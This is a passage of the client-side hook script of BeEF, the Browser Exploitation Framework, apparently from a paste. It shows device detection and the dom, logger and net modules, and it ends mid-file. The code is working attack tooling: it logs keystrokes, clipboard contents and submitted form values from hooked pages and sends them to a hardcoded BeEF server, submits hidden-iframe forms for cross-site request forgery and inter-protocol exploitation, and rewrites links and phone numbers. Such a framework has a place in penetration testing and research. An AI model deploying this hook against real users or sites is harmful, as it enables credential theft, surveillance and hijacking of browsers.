  7541. if(MobileEsp.DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
  7542. if(MobileEsp.DetectBlackBerry()) { return "BlackBerry"};
  7543. if(MobileEsp.DetectPalmOS()) { return "Palm OS"};
  7544. if(MobileEsp.DetectPalmWebOS()) { return "Palm Web OS"};
  7545. if(MobileEsp.DetectGarminNuvifone()) { return "Gamin Nuvifone"};
  7546. if(MobileEsp.DetectArchos()) { return "Archos"}
  7547. if(MobileEsp.DetectBrewDevice()) { return "Brew"};
  7548. if(MobileEsp.DetectDangerHiptop()) { return "Danger Hiptop"};
  7549. if(MobileEsp.DetectMaemoTablet()) { return "Maemo Tablet"};
  7550. if(MobileEsp.DetectSonyMylo()) { return "Sony Mylo"};
  7551. if(MobileEsp.DetectAmazonSilk()) { return "Kindle Fire"};
  7552. if(MobileEsp.DetectKindle()) { return "Kindle"};
  7553. if(MobileEsp.DetectSonyPlaystation()) { return "Playstation"};
  7554. if(ua.search(MobileEsp.deviceNintendoDs) > -1) { return "Nintendo DS"};
  7555. if(ua.search(MobileEsp.deviceWii) > -1) { return "Nintendo Wii"};
  7556. if(ua.search(MobileEsp.deviceNintendo) > -1) { return "Nintendo"};
  7557. if(MobileEsp.DetectXbox()) { return "Xbox"};
  7558. if(this.isLaptop()) { return "Laptop"};
  7559. if(this.isVirtualMachine()) { return "Virtual Machine"};
  7560.  
  7561. return 'Unknown';
  7562. }
  7563. };
  7564.  
  7565. beef.regCmp('beef.hardware');
  7566.  
  7567.  
  7568. //
  7569. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  7570. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7571. // See the file 'doc/COPYING' for copying permission
  7572. //
  7573.  
  7574. /*!
  7575. * @literal object: beef.dom
  7576. *
  7577. * Provides functionality to manipulate the DOM.
  7578. */
  7579. beef.dom = {
  7580.  
  7581. /**
  7582. * Generates a random ID for HTML elements
  7583. * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
  7584. * @return: generated id
  7585. */
  7586. generateID: function(prefix) {
  7587. return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  7588. },
  7589.  
  7590. /**
  7591. * Creates a new element but does not append it to the DOM.
  7592. * @param: {String} the name of the element.
  7593. * @param: {Literal Object} the attributes of that element.
  7594. * @return: the created element.
  7595. */
  7596. createElement: function(type, attributes) {
  7597. var el = document.createElement(type);
  7598.  
  7599. for(index in attributes) {
  7600. if(typeof attributes[index] == 'string') {
  7601. el.setAttribute(index, attributes[index]);
  7602. }
  7603. }
  7604.  
  7605. return el;
  7606. },
  7607.  
  7608. /**
  7609. * Removes element from the DOM.
  7610. * @param: {String or DOM Object} the target element to be removed.
  7611. */
  7612. removeElement: function(el) {
  7613. if (!beef.dom.isDOMElement(el))
  7614. {
  7615. el = document.getElementById(el);
  7616. }
  7617. try {
  7618. el.parentNode.removeChild(el);
  7619. } catch (e) { }
  7620. },
  7621.  
  7622. /**
  7623. * Tests if the object is a DOM element.
  7624. * @param: {Object} the DOM element.
  7625. * @return: true if the object is a DOM element.
  7626. */
  7627. isDOMElement: function(obj) {
  7628. return (obj.nodeType) ? true : false;
  7629. },
  7630.  
  7631. /**
  7632. * Creates an invisible iframe on the hook browser's page.
  7633. * @return: the iframe.
  7634. */
  7635. createInvisibleIframe: function() {
  7636. var iframe = this.createElement('iframe', {
  7637. width: '1px',
  7638. height: '1px',
  7639. style: 'visibility:hidden;'
  7640. });
  7641.  
  7642. document.body.appendChild(iframe);
  7643.  
  7644. return iframe;
  7645. },
  7646.  
  7647. /**
  7648. * Returns the highest current z-index
  7649. * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
  7650. * @return: {Integer} Highest z-index in the DOM
  7651. * OR
  7652. * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
  7653. */
  7654. getHighestZindex: function(include_id) {
  7655. var highest = {'height':0, 'elem':''};
  7656. $j('*').each(function() {
  7657. var current_high = parseInt($j(this).css("zIndex"),10);
  7658. if (current_high > highest.height) {
  7659. highest.height = current_high;
  7660. highest.elem = $j(this).attr('id');
  7661. }
  7662. });
  7663.  
  7664. if (include_id) {
  7665. return highest;
  7666. } else {
  7667. return highest.height;
  7668. }
  7669. },
  7670.  
  7671. /**
  7672. * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
  7673. * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  7674. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  7675. * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  7676. * @param: {Hash} params: list of params that will be sent in request.
  7677. * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
  7678. * @param: {Function} a callback function to fire once the iFrame has loaded
  7679. * @return: {Object} the inserted iFrame
  7680. *
  7681. */
  7682. createIframe: function(type, params, styles, onload) {
  7683. var css = {};
  7684.  
  7685. if (type == 'hidden') {
  7686. css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
  7687. } else if (type == 'fullscreen') {
  7688. css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  7689. $j('body').css({'padding':'0px', 'margin':'0px'});
  7690. } else {
  7691. css = styles;
  7692. $j('body').css({'padding':'0px', 'margin':'0px'});
  7693. }
  7694. var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  7695.  
  7696. return iframe;
  7697. },
  7698.  
  7699. /**
  7700. * Load the link (href value) in an overlay foreground iFrame.
  7701. * The BeEF hook continues to run in background.
  7702. * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  7703. * Framebusting techniques, this will not work.
  7704. */
  7705. persistentIframe: function(){
  7706. $j('a').click(function(e) {
  7707. if ($j(this).attr('href') != '')
  7708. {
  7709. e.preventDefault();
  7710. beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  7711. $j(document).attr('title', $j(this).html());
  7712. document.body.scroll = "no";
  7713. document.documentElement.style.overflow = 'hidden';
  7714. }
  7715. });
  7716. },
  7717.  
  7718. /**
  7719. * Load a full screen div that is black, or, transparent
  7720. * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
  7721. * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
  7722. * opacity:0-100 // Lower number = less grayout higher = more of a blackout
  7723. * // By default this is 70
  7724. * zindex: # // HTML elements with a higher zindex appear on top of the gray out
  7725. * // By default this will use beef.dom.getHighestZindex to always go to the top
  7726. * bgcolor: (#xxxxxx) // Standard RGB Hex color code
  7727. * // By default this is #000000
  7728. */
  7729. grayOut: function(vis, options) {
  7730. // in any order. Pass only the properties you need to set.
  7731. var options = options || {};
  7732. var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  7733. var opacity = options.opacity || 70;
  7734. var opaque = (opacity / 100);
  7735. var bgcolor = options.bgcolor || '#000000';
  7736. var dark=document.getElementById('darkenScreenObject');
  7737. if (!dark) {
  7738. // The dark layer doesn't exist, it's never been created. So we'll
  7739. // create it here and apply some basic styles.
  7740. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  7741. var tbody = document.getElementsByTagName("body")[0];
  7742. var tnode = document.createElement('div'); // Create the layer.
  7743. tnode.style.position='absolute'; // Position absolutely
  7744. tnode.style.top='0px'; // In the top
  7745. tnode.style.left='0px'; // Left corner of the page
  7746. tnode.style.overflow='hidden'; // Try to avoid making scroll bars
  7747. tnode.style.display='none'; // Start out Hidden
  7748. tnode.id='darkenScreenObject'; // Name it so we can find it later
  7749. tbody.appendChild(tnode); // Add it to the web page
  7750. dark=document.getElementById('darkenScreenObject'); // Get the object.
  7751. }
  7752. if (vis) {
  7753. // Calculate the page width and height
  7754. if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  7755. var pageWidth = document.body.scrollWidth+'px';
  7756. var pageHeight = document.body.scrollHeight+'px';
  7757. } else if( document.body.offsetWidth ) {
  7758. var pageWidth = document.body.offsetWidth+'px';
  7759. var pageHeight = document.body.offsetHeight+'px';
  7760. } else {
  7761. var pageWidth='100%';
  7762. var pageHeight='100%';
  7763. }
  7764. //set the shader to cover the entire page and make it visible.
  7765. dark.style.opacity=opaque;
  7766. dark.style.MozOpacity=opaque;
  7767. dark.style.filter='alpha(opacity='+opacity+')';
  7768. dark.style.zIndex=zindex;
  7769. dark.style.backgroundColor=bgcolor;
  7770. dark.style.width= pageWidth;
  7771. dark.style.height= pageHeight;
  7772. dark.style.display='block';
  7773. } else {
  7774. dark.style.display='none';
  7775. }
  7776. },
  7777.  
  7778. /**
  7779. * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
  7780. * or, re-writing a document this is useful.
  7781. */
  7782. removeStylesheets: function() {
  7783. $j('link[rel=stylesheet]').remove();
  7784. $j('style').remove();
  7785. },
  7786.  
  7787. /**
  7788. * Create a form element with the specified parameters, appending it to the DOM if append == true
  7789. * @param: {Hash} params: params to be applied to the form element
  7790. * @param: {Boolean} append: automatically append the form to the body
  7791. * @return: {Object} a form object
  7792. */
  7793. createForm: function(params, append) {
  7794. var form = $j('<form></form>').attr(params);
  7795. if (append)
  7796. $j('body').append(form);
  7797. return form;
  7798. },
  7799.  
  7800. loadScript: function(url) {
  7801. var s = document.createElement('script');
  7802. s.type = 'text/javascript';
  7803. s.src = url;
  7804. $j('body').append(s);
  7805. },
  7806.  
  7807. /**
  7808. * Get the location of the current page.
  7809. * @return: the location.
  7810. */
  7811. getLocation: function() {
  7812. return document.location.href;
  7813. },
  7814.  
  7815. /**
  7816. * Get links of the current page.
  7817. * @return: array of URLs.
  7818. */
  7819. getLinks: function() {
  7820. var linksarray = [];
  7821. var links = document.links;
  7822. for(var i = 0; i<links.length; i++) {
  7823. linksarray = linksarray.concat(links[i].href)
  7824. };
  7825. return linksarray
  7826. },
  7827.  
  7828. /**
  7829. * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  7830. * @param: {String} url: the url to be rewritten
  7831. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7832. * @return: {Number} the amount of links found in the DOM and rewritten.
  7833. */
  7834. rewriteLinks: function(url, selector) {
  7835. var sel = (selector == null) ? 'a' : selector;
  7836. return $j(sel).each(function() {
  7837. if ($j(this).attr('href') != null)
  7838. {
  7839. $j(this).attr('href', url).click(function() { return true; });
  7840. }
  7841. }).length;
  7842. },
  7843.  
  7844. /**
  7845. * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
  7846. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  7847. * @param: {String} url: the url to be rewritten
  7848. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7849. * @return: {Number} the amount of links found in the DOM and rewritten.
  7850. */
  7851. rewriteLinksClickEvents: function(url, selector) {
  7852. var sel = (selector == null) ? 'a' : selector;
  7853. return $j(sel).each(function() {
  7854. if ($j(this).attr('href') != null)
  7855. {
  7856. $j(this).click(function() {this.href=url});
  7857. }
  7858. }).length;
  7859. },
  7860.  
  7861. /**
  7862. * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
  7863. * @param: {String} old_protocol: the old link protocol to be rewritten
  7864. * @param: {String} new_protocol: the new link protocol to be written
  7865. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7866. * @return: {Number} the amount of links found in the DOM and rewritten.
  7867. */
  7868. rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  7869.  
  7870. var count = 0;
  7871. var re = new RegExp(old_protocol+"://", "gi");
  7872. var sel = (selector == null) ? 'a' : selector;
  7873.  
  7874. $j(sel).each(function() {
  7875. if ($j(this).attr('href') != null) {
  7876. var url = $j(this).attr('href');
  7877. if (url.match(re)) {
  7878. $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
  7879. count++;
  7880. }
  7881. }
  7882. });
  7883.  
  7884. return count;
  7885. },
  7886.  
  7887. /**
  7888. * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
  7889. * @param: {String} new_number: the new link telephone number to be written
  7890. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7891. * @return: {Number} the amount of links found in the DOM and rewritten.
  7892. */
  7893. rewriteTelLinks: function(new_number, selector) {
  7894.  
  7895. var count = 0;
  7896. var re = new RegExp("tel:/?/?.*", "gi");
  7897. var sel = (selector == null) ? 'a' : selector;
  7898.  
  7899. $j(sel).each(function() {
  7900. if ($j(this).attr('href') != null) {
  7901. var url = $j(this).attr('href');
  7902. if (url.match(re)) {
  7903. $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
  7904. count++;
  7905. }
  7906. }
  7907. });
  7908.  
  7909. return count;
  7910. },
  7911.  
  7912. /**
  7913. * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
  7914. * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  7915. * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
  7916. */
  7917. parseAppletParams: function(params){
  7918. var result = '';
  7919. for (i in params){
  7920. var param = params[i];
  7921. for(key in param){
  7922. result += "<param name='" + key + "' value='" + param[key] + "' />";
  7923. }
  7924. }
  7925. return result;
  7926. },
  7927.  
  7928. /**
  7929. * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  7930. * example usage in the code, using a JAR archive (recommended and faster):
  7931. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  7932. * example usage in the code, using codebase:
  7933. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  7934. * @params: {String} id: reference identifier to the applet.
  7935. * @params: {String} code: name of the class to be loaded. For example, beef.class.
  7936. * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
  7937. * @params: {String} archive: the jar that contains the code.
  7938. * @params: {String} params: an array of additional params that the applet except.
  7939. */
  7940. attachApplet: function(id, name, code, codebase, archive, params) {
  7941. var content = null;
  7942. if (beef.browser.isIE()) {
  7943. content = "" + // the classid means 'use the latest JRE available to launch the applet'
  7944. "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  7945. "height='0' width='0' name='" + name + "'> " +
  7946. "<param name='code' value='" + code + "' />";
  7947.  
  7948. if (codebase != null) {
  7949. content += "<param name='codebase' value='" + codebase + "' />"
  7950. }
  7951. if (archive != null){
  7952. content += "<param name='archive' value='" + archive + "' />";
  7953. }
  7954. if (params != null) {
  7955. content += beef.dom.parseAppletParams(params);
  7956. }
  7957. content += "</object>";
  7958. }
  7959. if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  7960.  
  7961. if (codebase != null) {
  7962. content = "" +
  7963. "<applet id='" + id + "' code='" + code + "' " +
  7964. "codebase='" + codebase + "' " +
  7965. "height='0' width='0' name='" + name + "'>";
  7966. } else {
  7967. content = "" +
  7968. "<applet id='" + id + "' code='" + code + "' " +
  7969. "archive='" + archive + "' " +
  7970. "height='0' width='0' name='" + name + "'>";
  7971. }
  7972.  
  7973. if (params != null) {
  7974. content += beef.dom.parseAppletParams(params);
  7975. }
  7976. content += "</applet>";
  7977. }
  7978. // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
  7979. // if (beef.browser.isFF()) {
  7980. // if (codebase != null) {
  7981. // content = "" +
  7982. // "<embed id='" + id + "' code='" + code + "' " +
  7983. // "type='application/x-java-applet' codebase='" + codebase + "' " +
  7984. // "height='0' width='0' name='" + name + "'>";
  7985. // } else {
  7986. // content = "" +
  7987. // "<embed id='" + id + "' code='" + code + "' " +
  7988. // "type='application/x-java-applet' archive='" + archive + "' " +
  7989. // "height='0' width='0' name='" + name + "'>";
  7990. // }
  7991. //
  7992. // if (params != null) {
  7993. // content += beef.dom.parseAppletParams(params);
  7994. // }
  7995. // content += "</embed>";
  7996. // }
  7997. $j('body').append(content);
  7998. },
  7999.  
  8000. /**
  8001. * Given an id, remove the applet from the DOM.
  8002. * @params: {String} id: reference identifier to the applet.
  8003. */
  8004. detachApplet: function(id) {
  8005. $j('#' + id + '').detach();
  8006. },
  8007.  
  8008. /**
  8009. * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
  8010. * @params: {String} action: the form action attribute, where the request will be sent.
  8011. * @params: {String} method: HTTP method, usually POST.
  8012. * @params: {String} enctype: form encoding type
  8013. * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
  8014. * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  8015. */
  8016. createIframeXsrfForm: function(action, method, enctype, inputs){
  8017. var iframeXsrf = beef.dom.createInvisibleIframe();
  8018.  
  8019. var formXsrf = document.createElement('form');
  8020. formXsrf.setAttribute('action', action);
  8021. formXsrf.setAttribute('method', method);
  8022. formXsrf.setAttribute('enctype', enctype);
  8023.  
  8024. var input = null;
  8025. for (i in inputs){
  8026. var attributes = inputs[i];
  8027. input = document.createElement('input');
  8028. for(key in attributes){
  8029. if (key == 'name' && attributes[key] == 'submit') {
  8030. // workaround for https://github.com/beefproject/beef/issues/1117
  8031. beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
  8032. input.setAttribute('Submit', attributes[key]);
  8033. } else {
  8034. input.setAttribute(key, attributes[key]);
  8035. }
  8036. }
  8037. formXsrf.appendChild(input);
  8038. }
  8039. iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  8040. formXsrf.submit();
  8041.  
  8042. return iframeXsrf;
  8043. },
  8044.  
  8045. /**
  8046. * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
  8047. * @params: {String} rhost: remote host ip/domain
  8048. * @params: {String} rport: remote port
  8049. * @params: {String} commands: protocol commands to be executed by the remote host:port service
  8050. */
  8051. createIframeIpecForm: function(rhost, rport, path, commands){
  8052. var iframeIpec = beef.dom.createInvisibleIframe();
  8053.  
  8054. var formIpec = document.createElement('form');
  8055. formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
  8056. formIpec.setAttribute('method', 'POST');
  8057. formIpec.setAttribute('enctype', 'multipart/form-data');
  8058.  
  8059. input = document.createElement('textarea');
  8060. input.setAttribute('name', Math.random().toString(36).substring(5));
  8061. input.value = commands;
  8062. formIpec.appendChild(input);
  8063. iframeIpec.contentWindow.document.body.appendChild(formIpec);
  8064. formIpec.submit();
  8065.  
  8066. return iframeIpec;
  8067. }
  8068.  
  8069. };
  8070.  
  8071. beef.regCmp('beef.dom');
  8072.  
  8073.  
  8074. //
  8075. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  8076. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8077. // See the file 'doc/COPYING' for copying permission
  8078. //
  8079.  
  8080. /*!
  8081. * @literal object: beef.logger
  8082. *
  8083. * Provides logging capabilities.
  8084. */
  8085. beef.logger = {
  8086.  
  8087. running: false,
  8088. /**
  8089. * Internal logger id
  8090. */
  8091. id: 0,
  8092. /**
  8093. * Holds events created by user, to be sent back to BeEF
  8094. */
  8095. events: [],
  8096. /**
  8097. * Holds current stream of key presses
  8098. */
  8099. stream: [],
  8100. /**
  8101. * Contains current target of key presses
  8102. */
  8103. target: null,
  8104. /**
  8105. * Holds the time the logger was started
  8106. */
  8107. time: null,
  8108. /**
  8109. * Holds the event details to be sent to BeEF
  8110. */
  8111. e: function() {
  8112. this.id = beef.logger.get_id();
  8113. this.time = beef.logger.get_timestamp();
  8114. this.type = null;
  8115. this.x = 0;
  8116. this.y = 0;
  8117. this.target = null;
  8118. this.data = null;
  8119. this.mods = null;
  8120. },
  8121. /**
  8122. * Prevents from recursive event handling on form submission
  8123. */
  8124. in_submit: false,
  8125.  
  8126. /**
  8127. * Starts the logger
  8128. */
  8129. start: function() {
  8130.  
  8131. beef.browser.hookChildFrames();
  8132. this.running = true;
  8133. var d = new Date();
  8134. this.time = d.getTime();
  8135.  
  8136. $j(document).off('keypress');
  8137. $j(document).off('click');
  8138. $j(window).off('focus');
  8139. $j(window).off('blur');
  8140. $j('form').off('submit');
  8141. $j(document.body).off('copy');
  8142. $j(document.body).off('cut');
  8143. $j(document.body).off('paste');
  8144.  
  8145. if (!!window.console && typeof window.console == "object") {
  8146. try {
  8147. var oldInfo = window.console.info;
  8148. console.info = function (message) {
  8149. beef.logger.console('info', message);
  8150. oldInfo.apply(console, arguments);
  8151. };
  8152. var oldLog = window.console.log;
  8153. console.log = function (message) {
  8154. beef.logger.console('log', message);
  8155. oldLog.apply(console, arguments);
  8156. };
  8157. var oldWarn = window.console.warn;
  8158. console.warn = function (message) {
  8159. beef.logger.console('warn', message);
  8160. oldWarn.apply(console, arguments);
  8161. };
  8162. var oldDebug = window.console.debug;
  8163. console.debug = function (message) {
  8164. beef.logger.console('debug', message);
  8165. oldDebug.apply(console, arguments);
  8166. };
  8167. var oldError = window.console.error;
  8168. console.error = function (message) {
  8169. beef.logger.console('error', message);
  8170. oldError.apply(console, arguments);
  8171. };
  8172. } catch(e) {}
  8173. }
  8174.  
  8175. $j(document).keypress(
  8176. function(e) { beef.logger.keypress(e); }
  8177. ).click(
  8178. function(e) { beef.logger.click(e); }
  8179. );
  8180. $j(window).focus(
  8181. function(e) { beef.logger.win_focus(e); }
  8182. ).blur(
  8183. function(e) { beef.logger.win_blur(e); }
  8184. );
  8185. $j('form').submit(
  8186. function(e) {
  8187. beef.logger.submit(e);
  8188. }
  8189. );
  8190. $j(document.body).on('copy', function() {
  8191. setTimeout("beef.logger.copy();", 10);
  8192. });
  8193. $j(document.body).on('cut', function() {
  8194. setTimeout("beef.logger.cut();", 10);
  8195. });
  8196. $j(document.body).on('paste', function() {
  8197. beef.logger.paste();
  8198. });
  8199. },
  8200.  
  8201. /**
  8202. * Stops the logger
  8203. */
  8204. stop: function() {
  8205. this.running = false;
  8206. clearInterval(this.timer);
  8207. $j(document).off('keypress');
  8208. $j(document).off('click');
  8209. $j(window).off('focus');
  8210. $j(window).off('blur');
  8211. $j('form').off('submit');
  8212. $j(document.body).off('copy');
  8213. $j(document.body).off('cut');
  8214. $j(document.body).off('paste');
  8215. // TODO: reset console
  8216. },
  8217.  
  8218. /**
  8219. * Get id
  8220. */
  8221. get_id: function() {
  8222. this.id++;
  8223. return this.id;
  8224. },
  8225.  
  8226. /**
  8227. * Click function fires when the user clicks the mouse.
  8228. */
  8229. click: function(e) {
  8230. var c = new beef.logger.e();
  8231. c.type = 'click';
  8232. c.x = e.pageX;
  8233. c.y = e.pageY;
  8234. c.target = beef.logger.get_dom_identifier(e.target);
  8235. this.events.push(c);
  8236. },
  8237.  
  8238. /**
  8239. * Fires when the window element has regained focus
  8240. */
  8241. win_focus: function(e) {
  8242. var f = new beef.logger.e();
  8243. f.type = 'focus';
  8244. this.events.push(f);
  8245. },
  8246.  
  8247. /**
  8248. * Fires when the window element has lost focus
  8249. */
  8250. win_blur: function(e) {
  8251. var b = new beef.logger.e();
  8252. b.type = 'blur';
  8253. this.events.push(b);
  8254. },
  8255.  
  8256. /**
  8257. * Keypress function fires everytime a key is pressed.
  8258. * @param {Object} e: event object
  8259. */
  8260. keypress: function(e) {
  8261. if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  8262. {
  8263. beef.logger.push_stream();
  8264. this.target = e.target;
  8265. }
  8266. this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
  8267. },
  8268.  
  8269. /**
  8270. * Copy function fires when the user copies data to the clipboard.
  8271. */
  8272. copy: function(x) {
  8273. try {
  8274. var c = new beef.logger.e();
  8275. c.type = 'copy';
  8276. c.data = clipboardData.getData("Text");
  8277. this.events.push(c);
  8278. } catch(e) {}
  8279. },
  8280.  
  8281. /**
  8282. * Cut function fires when the user cuts data to the clipboard.
  8283. */
  8284. cut: function() {
  8285. try {
  8286. var c = new beef.logger.e();
  8287. c.type = 'cut';
  8288. c.data = clipboardData.getData("Text");
  8289. this.events.push(c);
  8290. } catch(e) {}
  8291. },
  8292.  
  8293. /**
  8294. * Console function fires when data is sent to the browser console.
  8295. */
  8296. console: function(type, message) {
  8297. try {
  8298. var c = new beef.logger.e();
  8299. c.type = 'console';
  8300. c.data = type + ': ' + message;
  8301. this.events.push(c);
  8302. } catch(e) {}
  8303. },
  8304.  
  8305. /**
  8306. * Paste function fires when the user pastes data from the clipboard.
  8307. */
  8308. paste: function() {
  8309. try {
  8310. var c = new beef.logger.e();
  8311. c.type = 'paste';
  8312. c.data = clipboardData.getData("Text");
  8313. this.events.push(c);
  8314. } catch(e) {}
  8315. },
  8316.  
  8317. /**
  8318. * Submit function fires whenever a form is submitted
  8319. * TODO: Cleanup this function
  8320. */
  8321. submit: function(e) {
  8322. if (beef.logger.in_submit) {
  8323. return true;
  8324. }
  8325. try {
  8326. var f = new beef.logger.e();
  8327. f.type = 'submit';
  8328. f.target = beef.logger.get_dom_identifier(e.target);
  8329. var jqForms = $j(e.target);
  8330. var values = jqForms.find('input').map(function() {
  8331. var inp = $j(this);
  8332. return inp.attr('name') + '=' + inp.val();
  8333. }).get().join();
  8334. beef.debug('submitting form inputs: ' + values);
  8335. /*
  8336. for (var i = 0; i < e.target.elements.length; i++) {
  8337. values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  8338. }
  8339. */
  8340. f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
  8341. this.events.push(f);
  8342. this.queue();
  8343. this.target = null;
  8344. beef.net.flush(function done() {
  8345. beef.debug("Submitting the form");
  8346. beef.logger.in_submit = true;
  8347. jqForms.submit();
  8348. beef.logger.in_submit = false;
  8349. beef.debug("Done submitting");
  8350. });
  8351. e.preventDefault();
  8352. return false;
  8353. } catch(e) {}
  8354. },
  8355.  
  8356. /**
  8357. * Pushes the current stream to the events queue
  8358. */
  8359. push_stream: function() {
  8360. if (this.stream.length > 0)
  8361. {
  8362. this.events.push(beef.logger.parse_stream());
  8363. this.stream = [];
  8364. }
  8365. },
  8366.  
  8367. /**
  8368. * Translate DOM Object to a readable string
  8369. */
  8370. get_dom_identifier: function(target) {
  8371. target = (target == null) ? this.target : target;
  8372. var id = '';
  8373. if (target)
  8374. {
  8375. id = target.tagName.toLowerCase();
  8376. id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  8377. id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  8378. }
  8379. return id;
  8380. },
  8381.  
  8382. /**
  8383. * Formats the timestamp
  8384. * @return {String} timestamp string
  8385. */
  8386. get_timestamp: function() {
  8387. var d = new Date();
  8388. return ((d.getTime() - this.time) / 1000).toFixed(3);
  8389. },
  8390.  
  8391. /**
  8392. * Parses stream array and creates history string
  8393. */
  8394. parse_stream: function() {
  8395. var s = '';
  8396. var mods = '';
  8397. for (var i in this.stream){
  8398. try{
  8399. var mod = this.stream[i]['modifiers'];
  8400. s += String.fromCharCode(this.stream[i]['char']);
  8401. if(typeof mod != 'undefined' &&
  8402. (mod['alt'] == true ||
  8403. mod['ctrl'] == true ||
  8404. mod['shift'] == true)){
  8405. mods += (mod['alt']) ? ' [Alt] ' : '';
  8406. mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  8407. mods += (mod['shift']) ? ' [Shift] ' : '';
  8408. mods += String.fromCharCode(this.stream[i]['char']);
  8409. }
  8410.  
  8411. }catch(e){}
  8412. }
  8413. var k = new beef.logger.e();
  8414. k.type = 'keys';
  8415. k.target = beef.logger.get_dom_identifier();
  8416. k.data = s;
  8417. k.mods = mods;
  8418. return k;
  8419. },
  8420.  
  8421. /**
  8422. * Queue results to be sent back to framework
  8423. */
  8424. queue: function() {
  8425. beef.logger.push_stream();
  8426. if (this.events.length > 0)
  8427. {
  8428. beef.net.queue('/event', 0, this.events);
  8429. this.events = [];
  8430. }
  8431. }
  8432.  
  8433. };
  8434.  
  8435. beef.regCmp('beef.logger');
  8436.  
  8437.  
  8438. //
  8439. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  8440. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8441. // See the file 'doc/COPYING' for copying permission
  8442. //
  8443.  
  8444. /*!
  8445. * @literal object: beef.net
  8446. *
  8447. * Provides basic networking functions,
  8448. * like beef.net.request and beef.net.forgeRequest,
  8449. * used by BeEF command modules and the Requester extension,
  8450. * as well as beef.net.send which is used to return commands
  8451. * to BeEF server-side components.
  8452. *
  8453. * Also, it contains the core methods used by the XHR-polling
  8454. * mechanism (flush, queue)
  8455. */
  8456. beef.net = {
  8457.  
  8458. host: "10.0.2.15",
  8459. port: "3000",
  8460. hook: "/hook.js",
  8461. httpproto: "http",
  8462. handler: '/dh',
  8463. chop: 500,
  8464. pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  8465. sid_count: 0,
  8466. cmd_queue: [],
  8467.  
  8468. /**
  8469. * Command object. This represents the data to be sent back to BeEF,
  8470. * using the beef.net.send() method.
  8471. */
  8472. command: function () {
  8473. this.cid = null;
  8474. this.results = null;
  8475. this.status = null;
  8476. this.handler = null;
  8477. this.callback = null;
  8478. },
  8479.  
  8480. /**
  8481. * Packet object. A single chunk of data. X packets -> 1 stream
